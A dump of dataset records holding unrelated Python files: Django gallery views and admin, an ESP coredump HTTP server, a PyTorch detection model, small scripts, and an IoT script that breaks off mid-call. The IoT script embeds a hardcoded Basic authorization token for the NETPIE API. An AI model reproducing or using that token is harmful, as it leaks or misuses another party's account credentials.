obj):\n        return format_html(f'<img src=\"{obj.image_url}\" width=\"300px\" alt=\"\" />')\n\n    view_image.short_description = \"Image\"\n\n    def view_thumbnail(self, obj):\n        return format_html(f'<img src=\"{obj.image_url}\" width=\"40px\" alt=\"\" />')\n\n    view_thumbnail.short_description = \"Image\"\n\n\n@admin.register(models.Source)\nclass SourceAdmin(TimeStampModelAdmin):\n    search_fields = (\"title\", \"url\")\n    list_display = (\n        \"__str__\",\n        \"last_update\",\n        \"view_documents_link\",\n    )\n    list_filter = (\n        \"source_type\",\n        \"editor\",\n    )\n    raw_id_fields = (\"epcis\", \"communes\")\n\n    readonly_fields = [\n        \"base_domain\",\n        \"created_at\",\n        \"updated_at\",\n    ]\n\n    def view_documents_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"source\", \"document\")\n\n    view_documents_link.short_description = \"Publications\"\n","repo_name":"entrepreneur-interet-general/opencollectivites","sub_path":"core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5979,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"60"}
+{"seq_id":"19396033962","text":"def solve(line: str) -> int:\n    first, second = line.split(\",\")\n    f1, f2 = first.split(\"-\")\n    s1, s2 = second.split(\"-\")\n    f1, f2, s1, s2 = int(f1), int(f2), int(s1), int(s2)\n    if (f1 <= s1 and f2 >= s2) or (s1 <= f1 and s2 >= f2):\n        return 1\n    return 0\n\n\nif __name__ == \"__main__\":\n    lines = []\n    with open(\"input.txt\") as f:\n        for line in f:\n            lines.append(line)\n    print(sum(map(solve, lines)))\n","repo_name":"ulrokx/aoc2022","sub_path":"04day/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"45523649050","text":"from ast import Return\nfrom pickle import NONE\nimport re\nfrom django import template\nfrom django.views.generic.detail import DetailView\nfrom django.views import View \nfrom django.shortcuts import redirect, render\nfrom .models import feedback, oderplace, pictures,Customer,cart\nfrom django.contrib.auth.models import User,auth\nfrom django.contrib import messages\nfrom .forms import customerForm\n\n\n#index page\ndef index(request):\n    all=pictures.objects.all()\n    return render(request,'index.html',{'all':all})\n\ndef master(request):\n    return render(request,'master.html')\n\ndef register(request):\n\n    if request.method=='POST':\n            username=request.POST.get('username')\n            email=request.POST.get('email')\n            password=request.POST.get('pass')\n            if User.objects.filter(username=username).exists():\n                 return redirect('errorpage')\n            data=User.objects.create_user(username=username,email=email,password=password)\n            data.save()\n            return redirect('login')\n    return render(request,'register.html')\n\ndef login(request):\n   if request.method == 'POST':\n      username1 = request.POST.get('username')\n      password1 = request.POST.get('pass')\n      #check user is valid or note\n      user = auth.authenticate(username=username1, password=password1)\n      if user is not None:\n         auth.login(request,user)\n         return redirect('index')\n      else:\n         messages.error(request,'Enter valid Detail')\n         print('invalid')\n   return render(request, 'login.html')\n\ndef logout(request):\n    auth.logout(request)\n    return redirect('index')\n\n#check String(data) passed with url extract value accoding it and pass  \ndef painting(request ,data=\"none\"):\n    paint='None'\n    if data=='none':\n        paint=pictures.objects.all()\n    elif data=='oil':\n        paint=pictures.objects.filter(category='p1')\n    elif data=='water':\n        paint=pictures.objects.filter(category='p2')\n    else:\n        paint=pictures.objects.filter(category='p3')\n    return render(request,'painting.html',{'paint':paint})\n\n#when user click on particular image fetch id and extract\ndef imagedetail(request,pk):\n    user=request.user\n    img=pictures.objects.get(id=pk)\n    #chek if picture already in cart then display view cart otherwise display addtoadd \n    already_cart=False\n    if user.is_authenticated:\n        if cart.objects.filter(user=user,picture=img):\n            already_cart=True\n            print(already_cart)\n    return render(request,'pictures_detail.html',{'img':img,'already_cart':already_cart})\n\ndef AddToCart(request,pk):\n        user=request.user\n        if pk==0:\n            return redirect('ViewCart')\n            \n        if  user.is_authenticated:\n            user=request.user\n            data= pictures.objects.get(pk=pk)\n            mycart=cart.objects.create(user=user,picture=data)\n            mycart.save()\n            return redirect('ViewCart')\n        else:\n            return redirect('login') \n\n#calculation of Cart\ndef ViewCart(request):\n    if request.user.is_authenticated:\n        user=request.user\n        mycart=cart.objects.filter(user=user)\n\n        amount=0.0\n        shipping=70.0\n        total=0.0\n        item=0\n        cartitem=[p for p in cart.objects.all() if p.user==user]\n        if cartitem:\n            for i in cartitem:\n                item+=1\n                tempamount=i.quantity * i.picture.price \n                amount+=tempamount\n                total=amount+shipping\n    return render(request,'cart.html', {'carts':mycart ,'total': total ,'amount':amount, 'item':item})\n\n#increment Quntity of picture \ndef increment(request,id):\n        item=cart.objects.get(pk=id)\n        item.quantity+=1\n        item.save()\n        return redirect('ViewCart')\n    \n#Decrement Quntity of picture \ndef decrement(request,id):\n        item=cart.objects.get(pk=id)\n        item.quantity-=1\n        print(item.quantity)\n        item.save()\n        return redirect('ViewCart')\n\n#Remove picture from Cart\ndef remove(request,id):\n    item=cart.objects.get(pk=id).delete()\n    return redirect('ViewCart')\n\ndef feedback(request):\n    if request.method=='POST':\n        name=request.POST.get('name')\n        email=request.POST.get('email')\n        subject=request.POST.get('subject')\n        message=request.POST.get('message')\n\n        data=feedback.objects.create(name=name,email=email,subject=subject,message=message)        \n        data.save()\n    return render(request,'contactUs.html')\n\n\nclass Customerdetail(View):\n    def get(self,request):\n        form=customerForm()\n        return render(request,'customer.html',{'form':form})\n    def post(self,request):\n        form=customerForm(request.POST)  \n        return render(request,'checkout.html') \n        \n\ndef checkout(request):\n    if request.method=='POST':\n        form=customerForm(request.POST)\n        if form.is_valid():\n            user=request.user\n            name=form.cleaned_data['name']\n            city=form.cleaned_data['city']\n            zipcode=form.cleaned_data['zipcode']\n            state=form.cleaned_data['state']\n            address=form.cleaned_data['address']\n            data=Customer.objects.create(user=user,name=name,city=city,zipcode=zipcode,state=state,address=address)\n            data.save() \n\n    user=request.user\n    address=Customer.objects.filter(user=user) \n    items=cart.objects.filter(user=user)\n    mycart=cart.objects.filter(user=user)\n\n    amount=0.0\n    shipping=70.0\n    total=0.0\n    item=0\n    tempamount=0    \n    cartitem=[p for p in cart.objects.all() if p.user==user]\n    if cartitem:\n    \n        for i in cartitem:    \n            tempamount=i.quantity * i.picture.price \n            amount+=tempamount  \n            total=amount+shipping \n            item= item+1\n    return render(request,'checkout.html',{'address':address ,'total':total,'temp':tempamount,'cart':mycart, 'item':items} )\n\n# delete address from detail page..\ndef deleteAdd(request,id):\n    add=Customer.objects.get(pk=id).delete()\n    return redirect('checkout')\n\n#too save data in orderplaced table\ndef orderdone(request):\n    user=request.user\n    custid=request.GET.get('custid')\n    customer=Customer.objects.get(id=custid)\n    cartitem=cart.objects.filter(user=user)\n    for i in cartitem:\n        oderplace(user=user, Customer=customer,pictures=i.picture, quantity=i.quantity).save()\n        i.delete()\n    order=oderplace.objects.filter(user=user)\n    return render(request,'Myorder.html',{'order':order})\n\n\ndef errorpage(request):\n    return render(request,'errorpage.html')        \n\ndef myOrder(request):\n    user=request.user\n    order=oderplace.objects.filter(user=user)\n    return render(request,'Myorder.html',{'order':order})\n","repo_name":"LeenaSonaiya/ArtGalleryMCA-5","sub_path":"Gallery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37639035619","text":"import urlparse\nimport time\nimport SimpleHTTPServer, BaseHTTPServer\nimport sys, os\nimport argparse\nimport threading\n\ntry:\n    sys.path.append(os.environ['IDF_PATH'] + '/components/espcoredump')\n    import espcoredump\nexcept ValueError:\n    print (\"Please set IDF_PATH first\")\nexcept ImportError:\n    print (\"Please check the IDF version\")\n\n__version__ = '1.0'\n\nHOST = '0.0.0.0'\nPORT = 8000\n\ndef get_coredump_request_handler(args):\n    class CoreDumpRequestHander(SimpleHTTPServer.SimpleHTTPRequestHandler):\n\n        def __init__(self, request, client_addr, server):\n            self.args = args\n            SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_addr, server)\n\n        def __coredump_save(self, data):\n            f_name = time.strftime(\"%Y%m%d_\", time.localtime()) + time.strftime(\"%H%M%S\", time.localtime()) + '.coredump'\n            with open(f_name, 'wb') as f:\n                f.write(data)\n                f.flush()\n                f.close()\n            return f_name\n\n        def __coredump_parse(self, fname):\n\n            self.args.debug = 0\n            self.args.gdb = 'xtensa-esp32-elf-gdb'\n            self.args.core = fname\n            self.args.core_format = 'raw'\n            # self.args.off = 0x110000\n            self.args.save_core = ''\n            self.args.prog = self.args.elf\n            self.args.print_mem = False\n            espcoredump.info_corefile(self.args)\n\n        def do_POST(self):\n            response = 200\n            request_path = urlparse.urlparse(self.path).path.strip('/')\n            if request_path == 'upload':\n                if (self.headers['Content-Type'] == 'application/octet-stream'):\n                    data = self.rfile.read(int(self.headers['Content-Length']))\n                    f_name = self.__coredump_save(data)\n                    self.__coredump_parse(f_name)\n            else:\n                response = 404\n\n            self.send_response(response)\n            self.end_headers()\n            self.rfile.close()\n            self.wfile.close()\n\n    return CoreDumpRequestHander\n\n\nclass CoreDumpServer(BaseHTTPServer.HTTPServer, threading.Thread):\n\n    def __init__(self, args):\n        BaseHTTPServer.HTTPServer.__init__(self, (HOST, PORT), get_coredump_request_handler(args))\n        threading.Thread.__init__(self)\n\n    def run(self):\n        print(\"Serving HTTP on {} port {}\".format(HOST, PORT))\n        self.serve_forever()\n\n    def stop(self):\n        self.shutdown()\n\ndef main():\n    argparser = argparse.ArgumentParser(description='server.py v%s - Coredump http server' % __version__)\n    argparser.add_argument('-e', '--elf', type=str, help='path to the elf file')\n    argparser.add_argument('-r', '--rom-elf', type=str, help='path to ROM ELF file.')\n\n    args = argparser.parse_args()\n\n    coredump_server = CoreDumpServer(args)\n    coredump_server.run()\n\nif __name__ == \"__main__\":\n    main()","repo_name":"espressif/esp-adf","sub_path":"examples/system/coredump/tools/coredump_http_server.py","file_name":"coredump_http_server.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","stars":1317,"dataset":"github-code","pt":"60"}
+{"seq_id":"35400188961","text":"from pytorch_lightning.loggers import LoggerCollection\n\nfrom pathlib import Path\nfrom typing import Any, List, Optional, Tuple, Union\n\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch as tr\nimport torch.nn.functional as F\nfrom torch import Tensor, nn\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom torch.utils.tensorboard.writer import SummaryWriter\n\nfrom detection_utils.boxes import generate_targets\nfrom detection_utils.demo.plot import draw_detections, plot_confusion_matrix, plot_img\n\nfrom ..pytorch import softmax_focal_loss\n\nfrom .boxes import DEFAULT_NMS_THRESHOLD, compute_batch_stats\n\n\ndef loss(\n    class_predictions: Tensor,\n    regression_predictions: Tensor,\n    class_targets: Tensor,\n    regression_targets: Tensor,\n) -> Tuple[Tensor, Tensor]:\n\n    \"\"\"\n    Computes the classification and regression\n      smooth L1 (Huber) loss for regression (only on foreground anchor boxes)\n      softmax focal loss for classification (excluding ignore anchor boxes)\n\n    Parameters\n    ----------\n    class_predictions : Tensor, shape-(N, K, num-class)\n    regression_predictions : Tensor, shape-(N, K, 4)\n    class_targets : Tensor, shape-(N, K)\n    regression_targets : Tensor, shape-(N, K, 4)\n\n    Returns\n    -------\n    classification_loss, regression_loss: Tuple[Tensor, Tensor], shape-() shape-()\n        The mean classification loss and regression loss, respectively.\n\n    Notes\n    -----\n    `N` is the batch size. `K` is the number of anchor boxes associated with\n    each image.\n    \"\"\"\n    # shape-(N*K,)\n    class_targets = class_targets.reshape(-1)\n\n    # shape-(N*K, 4)\n    regression_targets = regression_targets.reshape(-1, 4)\n\n    # shape-(N*K, num-class)\n    class_predictions = class_predictions.reshape(-1, class_predictions.shape[-1])\n\n    # shape-(N*K, 4)\n    regression_predictions = regression_predictions.reshape(-1, 4)\n\n    is_true_foreground = tr.squeeze(class_targets > 0)\n    num_foreground = is_true_foreground.sum().item()\n    if is_true_foreground.numel() > 0:\n        regression_loss = F.smooth_l1_loss(\n            regression_predictions[is_true_foreground],\n            regression_targets[is_true_foreground],\n        )\n    else:\n        regression_loss = tr.tensor(0).float()\n\n    is_not_ignore = tr.squeeze(class_targets > -1)\n\n    # the sum of focal loss terms is normalized by the number\n    # of anchors assigned to a ground-truth box\n    classification_loss = (\n        softmax_focal_loss(\n            class_predictions[is_not_ignore],\n            class_targets[is_not_ignore],\n            alpha=0.25,\n            gamma=2,\n            reduction=\"sum\",\n        )\n        / num_foreground\n    )\n\n    return classification_loss, regression_loss\n\n\nclass ShapeDetectionModel(pl.LightningModule):\n    def __init__(self, data_experiment_path: Optional[Union[str, Path]] = None):\n        super().__init__()\n        self.confusion_matrices: List[np.ndarray] = []\n\n        # stores info for plotting boxes/labels for val-image 0\n        # at subsequent epoch states of model\n        # [(boxes-epoch0, labels-epoch0, scores-epoch0), ...]\n        self.boxes_labels_scores: List[Tuple[np.ndarray, np.ndarray, np.ndarray]] = []\n\n        self.data_path = (\n            Path(data_experiment_path) if data_experiment_path is not None else None\n        )\n\n        self.conv1 = nn.Conv2d(3, 10, 3, padding=1)\n        self.conv2 = nn.Conv2d(10, 20, 3, padding=1)\n        self.conv3 = nn.Conv2d(20, 30, 3, padding=1)\n        self.conv4 = nn.Conv2d(30, 40, 3, padding=1)\n        self.bn1 = nn.BatchNorm2d(10)\n        self.bn2 = nn.BatchNorm2d(20)\n        self.bn3 = nn.BatchNorm2d(30)\n        self.bn4 = nn.BatchNorm2d(40)\n\n        # background / rectangle / triangle / circle\n        self.classification = nn.Conv2d(40, 4, 1)\n        self.regression = nn.Conv2d(40, 4, 1)\n\n        for layer in (\n            self.conv1,\n            self.conv2,\n            self.conv3,\n            self.conv4,\n            self.classification,\n            self.regression,\n        ):\n            nn.init.xavier_normal_(layer.weight, np.sqrt(2))\n            nn.init.constant_(layer.bias, 0)\n\n        nn.init.constant_(\n            self.classification.bias[0], -4.6\n        )  # roughly -log((1-π)/π) for π = 0.01\n\n    def forward(self, imgs: Tensor) -> Tuple[Tensor, Tensor]:\n        \"\"\"\"\n        Computes the classification scores and bounding box regression associated\n        with each anchor box of each image.\n\n        Parameters\n        ----------\n        imgs : Tensor, shape-(N, 3, H, W)\n            A batch of N images.\n\n        Returns\n        -------\n        classifications, regressions : Tuple[Tensor, Tensor]\n            shape-(N, K, N_class), shape-(N, K, 4)\n            For each of N images in the batch, returns the classification scores\n            and bbox regressions associated with each of the K anchor boxes associated\n            with that image.\n\n        Notes\n        -----\n        The anchor boxes are flattened in row-major order\"\"\"\n        imgs = F.max_pool2d(F.relu(self.bn1(self.conv1(imgs))), 2)\n        imgs = F.max_pool2d(F.relu(self.bn2(self.conv2(imgs))), 2)\n        imgs = F.max_pool2d(F.relu(self.bn3(self.conv3(imgs))), 2)\n        imgs = F.max_pool2d(F.relu(self.bn4(self.conv4(imgs))), 2)\n\n        # (N, num-classes, R, C) -> (N, R, C, num-classes)\n        classifications = self.classification(imgs).permute(0, 2, 3, 1)\n        # (N, R, C, num-classes) -> (N, R*C, num-classes)\n        classifications = classifications.reshape(\n            imgs.shape[0], -1, classifications.shape[-1]\n        )\n        # (N, 4, R, C) -> (N, R, C, 4)\n        regressions = self.regression(imgs).permute(0, 2, 3, 1)\n        # (N, R, C, 4) ->  (N, R*C, 4)\n        regressions = regressions.reshape(imgs.shape[0], -1, 4)\n        return classifications, regressions\n\n    def training_step(self, batch: Tuple[Tensor, ...], batch_idx: int) -> Tensor:\n        imgs, class_targets, bbox_targets = batch\n        class_predictions, regression_predictions = self(imgs)\n        total_cls_loss, total_reg_loss = loss(\n            class_predictions, regression_predictions, class_targets, bbox_targets,\n        )\n        tot_loss = total_cls_loss + total_reg_loss\n        self.log(\"train_loss\", total_cls_loss + total_reg_loss)\n        return tot_loss\n\n    def validation_step(self, batch: Tuple[Tensor, ...], batch_idx: int) -> Tensor:\n        imgs, class_targets, bbox_targets = batch\n        class_predictions, regression_predictions = self(imgs)\n\n        total_cls_loss, total_reg_loss = loss(\n            class_predictions, regression_predictions, class_targets, bbox_targets,\n        )\n        self.log(\"val_loss\", total_cls_loss + total_reg_loss, prog_bar=True)\n\n        start = len(imgs) * (batch_idx)\n        stop = len(imgs) * (batch_idx + 1)\n\n        confusion_matrix, precision, recall = compute_batch_stats(\n            class_predictions=class_predictions,\n            regression_predictions=regression_predictions,\n            boxes=self.val_boxes[start:stop],\n            labels=self.val_labels[start:stop],\n            feature_map_width=imgs.shape[2] // 16,  # backbone downsamples by factor 16\n        )\n\n        ap = precision.mean()\n        ar = recall.mean()\n        self.log(\"val_precision\", ap)\n        self.log(\"val_recall\", ar)\n\n        self.log(\"ap+ar\", ap + ar)\n        return confusion_matrix\n\n    def validation_epoch_end(self, outputs: List[Any]) -> None:\n        \"\"\"Plots confusion matrix and example validation image with detections\"\"\"\n        total_confusion_matrix = sum(outputs)\n        normed_conf_matrix = total_confusion_matrix / tr.sum(\n            total_confusion_matrix, dim=0, keepdim=True\n        )\n\n        normed_conf_matrix = np.nan_to_num(normed_conf_matrix.numpy())\n\n        self.confusion_matrices.append(normed_conf_matrix)\n\n        # note: exclude negatives from classification accuracy\n        val_acc = np.einsum(\"ii\", normed_conf_matrix[1:, 1:]) / (\n            len(normed_conf_matrix) - 1\n        )\n        self.log(\"val_acc\", val_acc)\n\n        boxes, labels, scores = zip(\n            *self.get_detections(self.val_images[:1].to(self.device))\n        )\n        self.boxes_labels_scores.append((boxes[0], labels[0], scores[0]))\n\n        tensorboard: Optional[SummaryWriter] = self._get_tensorboard_logger()\n        if tensorboard is not None:\n            fig, ax = plot_confusion_matrix(\n                normed_conf_matrix, font_size=15, figsize=(8, 8)\n            )\n            tensorboard.add_figure(\n                \"confusion-matrix\", fig, global_step=self.current_epoch\n            )\n\n            img_id = 0\n            fig, ax = plot_img(self.val_images[img_id], figsize=(8, 8))\n            draw_detections(ax, boxes=boxes[img_id], labels=labels[img_id])\n            tensorboard.add_figure(\"example-image\", fig, global_step=self.current_epoch)\n\n    def configure_optimizers(self):\n        return Adam(self.parameters(), lr=5e-4)\n\n    def setup(self, stage: str) -> None:\n        from .boxes import make_anchor_boxes\n        from .data import load_data\n\n        assert self.data_path is not None\n\n        images, self.train_boxes, self.train_labels = load_data(\n            self.data_path / \"train\"\n        )\n        H, W = images.shape[1:3]\n        val_images, self.val_boxes, self.val_labels = load_data(self.data_path / \"val\")\n\n        self.train_images = tr.tensor(images.transpose((0, 3, 1, 2)))\n        self.val_images = tr.tensor(val_images.transpose((0, 3, 1, 2)))\n        self.anchor_boxes = make_anchor_boxes(image_height=H, image_width=W)\n\n    def train_dataloader(self) -> DataLoader:\n\n        train_cls_targs, train_reg_targs = zip(\n            *(\n                generate_targets(self.anchor_boxes, bxs, lbls, 0.2, 0.1)\n                for bxs, lbls in zip(self.train_boxes, self.train_labels)\n            )\n        )\n\n        train_reg_targs = tr.tensor(train_reg_targs).float()\n        train_cls_targs = tr.tensor(train_cls_targs).long()\n        return DataLoader(\n            TensorDataset(self.train_images, train_cls_targs, train_reg_targs),\n            batch_size=16,\n            pin_memory=True,\n            num_workers=4,\n            shuffle=True,\n            drop_last=True,\n        )\n\n    def val_dataloader(self) -> DataLoader:\n\n        val_cls_targs, val_reg_targs = zip(\n            *(\n                generate_targets(self.anchor_boxes, bxs, lbls, 0.2, 0.1)\n                for bxs, lbls in zip(self.val_boxes, self.val_labels)\n            )\n        )\n\n        val_reg_targs = tr.tensor(val_reg_targs).float()\n        val_cls_targs = tr.tensor(val_cls_targs).long()\n        return DataLoader(\n            TensorDataset(self.val_images, val_cls_targs, val_reg_targs),\n            batch_size=16,\n            pin_memory=True,\n            num_workers=4,\n            shuffle=False,\n            drop_last=True,\n        )\n\n    def get_detections(\n        self,\n        imgs: Tensor,\n        score_threshold: float = None,\n        nms_threshold: float = DEFAULT_NMS_THRESHOLD,\n    ) -> List[Tuple[np.ndarray, np.ndarray, np.ndarray]]:\n        \"\"\"\"\n        Computes the best bounding boxes and classification scores.\n\n        Parameters\n        ----------\n        imgs : Tensor, shape-(N, 3, H, W)\n            A batch of N images.\n\n        score_threshold: Optional[float]\n            If specified, detections with foreground scores below this\n            threshold are ignored\n\n        nms_threshold: float, optional\n            The IoU threshold to use for NMS, above which one of two box will be suppressed.\n\n        Returns\n        -------\n        List[Tuple[np.ndarray, np.ndarray, np.ndarray]]\n            The (boxes, labels, and confidence scores) for each of the N images\n            - boxes: ndarray shape=(N_det, 4)\n            - labels : ndarray shape=(N_det, 1)\n            - scores : ndarray shape=(N_det,)]\n\n        Notes\n        -----\n        The anchor boxes are flattened in row-major order.\n\n        Boxes are reported as (xlo, ylo, xhi, yhi).\n        \"\"\"\n        from detection_utils.demo.boxes import compute_detections\n\n        was_training = self.training\n\n        self.eval()\n        try:\n            with tr.no_grad():\n                class_predictions, regression_predictions = self.forward(imgs)\n        finally:\n            if was_training:\n                self.train(mode=True)\n\n        return [\n            compute_detections(\n                classifications=cls,\n                regressions=regr,\n                feature_map_width=imgs.shape[-1] // 16,\n                nms_threshold=nms_threshold,\n                score_threshold=score_threshold,\n            )\n            for cls, regr in zip(class_predictions, regression_predictions)\n        ]\n\n    def _get_tensorboard_logger(self) -> Optional[SummaryWriter]:\n        if isinstance(self.logger.experiment, SummaryWriter):\n            return self.logger.experiment\n        elif isinstance(self.logger, LoggerCollection):\n            for logger in self.logger.experiment:\n                if isinstance(logger, SummaryWriter):\n                    return logger\n        return None\n","repo_name":"davidmascharka/detection-utils","sub_path":"src/detection_utils/demo/pytorch.py","file_name":"pytorch.py","file_ext":"py","file_size_in_byte":13115,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"33893415055","text":"############\n# Librares #\n############\n\n## Custom Libraries\nimport application\n\n\n## Python Libraries\nimport threading\nimport time\n\n\n#############\n# Constants #\n#############\n\n\nclass ComProtocol:\n\tadapt_proc_ended\t= \"# Adapt. Proc. End\"\n\troot            \t= \"# Root\"\n\tsmes\t\t\t\t= \"# SMEs\"\n\tstatistics      \t= \"# Statistics\"\n\tnodes_list      \t= \"# Nodes\"\n\ttree            \t= \"# Tree\"\n\tmis_games_list  \t= \"# Misinformation Games\"\n\tnum_unique_mgs  \t= \"# Number of Unique MGs\"\n\tuniq_mg_files\t\t= \"# Unique MG Files\"\n\teof             \t= \"# EOF\"\n\n#com_protocol = ComProtocol()\n\n\n\n#############\n# Functions #\n#############\n\n\ndef processing_thread(app, queue):\n\t## Exacute the Adaptation Procedure\n\tapp.exec()\n\t\n\t## Inform the GUI that Adapt Proc has concluded\n\t## (the if-statement is just a precaution)\n\tif app.get_is_adaptation_concluded():\n\t\tqueue.put(ComProtocol.adapt_proc_ended)\n\t\t#print(\"put adapt proc ended\")\n\t\n\t## Return Results\n\t\n\t# Put Root\n\tqueue.put(ComProtocol.root)\n\tqueue.put(app.get_root())\n\t\n\t# Put SMEs\n\tqueue.put(ComProtocol.smes)\n\tqueue.put(app.get_SMEs())\n\t\n\t# Put statistcs\n\tqueue.put(ComProtocol.statistics)\n\tqueue.put(app.export_stats())\n\t\n\t# Put node list\n\tqueue.put(ComProtocol.nodes_list)\n\tqueue.put(app.get_nodes())\n\t\n\t# Put Tree\n\tqueue.put(ComProtocol.tree)\n\tqueue.put(app.get_tree())\n\t\n\t# Put MG list\n\tqueue.put(ComProtocol.mis_games_list)\n\tqueue.put(app.get_mg_pool())\n\t\n\t# Put unique MG files\n\tqueue.put(ComProtocol.num_unique_mgs)\n\tqueue.put(app.get_num_uniq_mgs())\n\t\n\tqueue.put(ComProtocol.uniq_mg_files)\n\tqueue.put(app.get_uniq_mg_files())\n\t\n\t# EOF\n\tqueue.put(ComProtocol.eof)\n\n\ndef messages_thread(app, queue):\n\tqueue.put(app.get_total_mgs())\n\t\n\twhile not app.get_is_adaptation_concluded():\n\t\ttime.sleep(0.1)\n\t\tqueue.put(app.get_progress_computed_mgs())\n\n\n\ndef process_app(args, queue):\n\t# Create a single app instance\n\tapp = application.Application(args)\n\t\n\t# Create two parallel threads\n\tmsg_thread  = threading.Thread(target=messages_thread, args=(app, queue,))\n\twork_thread = threading.Thread(target=processing_thread, args=(app, queue,))\n\t\n\t## statring threads\n\twork_thread.start()\n\tmsg_thread.start()\n\t\n\t\n\t## join threads\n\twork_thread.join()\n\tmsg_thread.join()","repo_name":"merkouris148/adaptation-procedure-misinformation-games","sub_path":"application_process.py","file_name":"application_process.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"72148022270","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('Administrativo', '0003_preciomatricula'),\n        ('Estudiante', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='MatriculaFinanciera',\n            fields=[\n                ('referencia', models.CharField(max_length=20, serialize=False, primary_key=True)),\n                ('descuento', models.FloatField()),\n                ('ano', models.TimeField()),\n                ('periodo', models.CharField(max_length=2, choices=[(b'1', b'1'), (b'2', b'2')])),\n                ('estudiante', models.ForeignKey(to='Estudiante.Estudiante')),\n                ('precio', models.ForeignKey(to='Administrativo.PrecioMatricula')),\n            ],\n        ),\n    ]\n","repo_name":"deiner582/Vortal","sub_path":"Estudiante/migrations/0002_matriculafinanciera.py","file_name":"0002_matriculafinanciera.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"69981760830","text":"import adafruit_rgb_display.st7735 as st7735\nimport board\nimport digitalio\n\nfrom Messagebox import Messagebox\n\n# Pick your Display\n# see https://github.com/adafruit/Adafruit_CircuitPython_RGB_Display\ndisplay = st7735.ST7735R(\n    spi=board.SPI(),\n    cs=digitalio.DigitalInOut(board.CE0),\n    dc=digitalio.DigitalInOut(board.D24),\n    rst=digitalio.DigitalInOut(board.D25),\n    baudrate=24000000,\n    rotation=90,\n)\n\ntrigger_pin = 26 # Read state trigger (if box is open or closed)\nservo_pin = 17\n\nif __name__ == \"__main__\":\n    msgBox = Messagebox(display, trigger_pin=trigger_pin, servo_pin=servo_pin)\n    msgBox.run()\n","repo_name":"ChristianGreiner/messagebox-hardware","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73526630591","text":"import onnxruntime\nimport numpy as np\nfrom pprint import pprint\n\n### Batch N test\nBATCH=5\n# ONNX\nonnx_session = onnxruntime.InferenceSession(\n    'model_float32_camera_Nx224x224.onnx',\n    providers=[\n        'CUDAExecutionProvider',\n    ],\n)\n# Inference\ninput_name = onnx_session.get_inputs()[0].name\nresults = onnx_session.run(\n    None,\n    {input_name: np.ones([BATCH,3,224,224], dtype=np.float32)}\n)\nfor result in results:\n    pprint(result)\n","repo_name":"PINTO0309/PINTO_model_zoo","sub_path":"036_Objectron/cuda_test.py","file_name":"cuda_test.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":2990,"dataset":"github-code","pt":"60"}
+{"seq_id":"70005850750","text":"import seaborn as sns; sns.set()  # for plot styling\r\nimport requests\r\nimport json\r\nimport numpy as np\r\nimport time\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.pipeline import make_pipeline\r\nfrom sklearn.model_selection import GridSearchCV\r\ndef PolynomialRegression(degree=2, **kwargs):\r\n    return make_pipeline(PolynomialFeatures(degree),\r\n                         LinearRegression(**kwargs))\r\n\r\ndef make_data(N, err=1.0, rseed=1):\r\n    # randomly sample the data\r\n    rng = np.random.RandomState(rseed)\r\n    X = rng.rand(N, 1)*100\r\n    y = 8200 - 4100*(X.ravel()**4)/(100**4) - 4100*(X.ravel()**2)/(100**2)\r\n    if err > 0:\r\n        y += err * rng.randn(N)*8200\r\n    return X, y\r\n\r\ndef getshadow():\r\n    # Set the API endpoint URL\r\n    url = \"https://api.netpie.io/v2/device/shadow/data\"\r\n\r\n    # Set the authorization header\r\n    headers = {\r\n        \"Authorization\": \"Basic ZDdlNzVjYjgtMDI2YS00ZjZhLWFmOWQtYWU1MDlkZGJjNjczOlN4cFc3WEhRMm80UVJvZlp0N0dITXFjeEZtTU12ZFF6\"\r\n    }\r\n\r\n    # Make a GET request to the API endpoint with headers\r\n    response = requests.get(url, headers=headers)\r\n\r\n    # Check if the request was successful (status code 200)\r\n    if response.status_code == 200:\r\n        # Extract the response data in JSON format\r\n        data = response.json()\r\n        # Process the data as needed\r\n        print(data[\"data\"])\r\n        return data[\"data\"]\r\n    else:\r\n        # Handle the error case\r\n        print(\"Error:\", response.status_code)\r\n        return {}\r\n\r\ndef shadow_status_update(statusMode,bestIR):\r\n    # Set the API endpoint URL\r\n    url = \"https://api.netpie.io/v2/device/shadow/data\"\r\n    # Set the authorization header and content type header\r\n    headers = {\r\n        \"Authorization\": \"Basic ZDdlNzVjYjgtMDI2YS00ZjZhLWFmOWQtYWU1MDlkZGJjNjczOlN4cFc3WEhRMm80UVJvZlp0N0dITXFjeEZtTU12ZFF6\",\r\n        \"Content-Type\": \"application/json\"\r\n    }\r\n    # Set the data payload for the PUT request\r\n    data = {\r\n        \"data\": {\r\n            \"statusMode\": statusMode,\r\n            \"update\": 0,\r\n            \"bestIR\":bestIR\r\n        }\r\n    }\r\n    # Convert the data payload to JSON\r\n    json_data = json.dumps(data)\r\n\r\n    # Make a PUT request to the API endpoint with headers and data payload\r\n    response = requests.put(url, 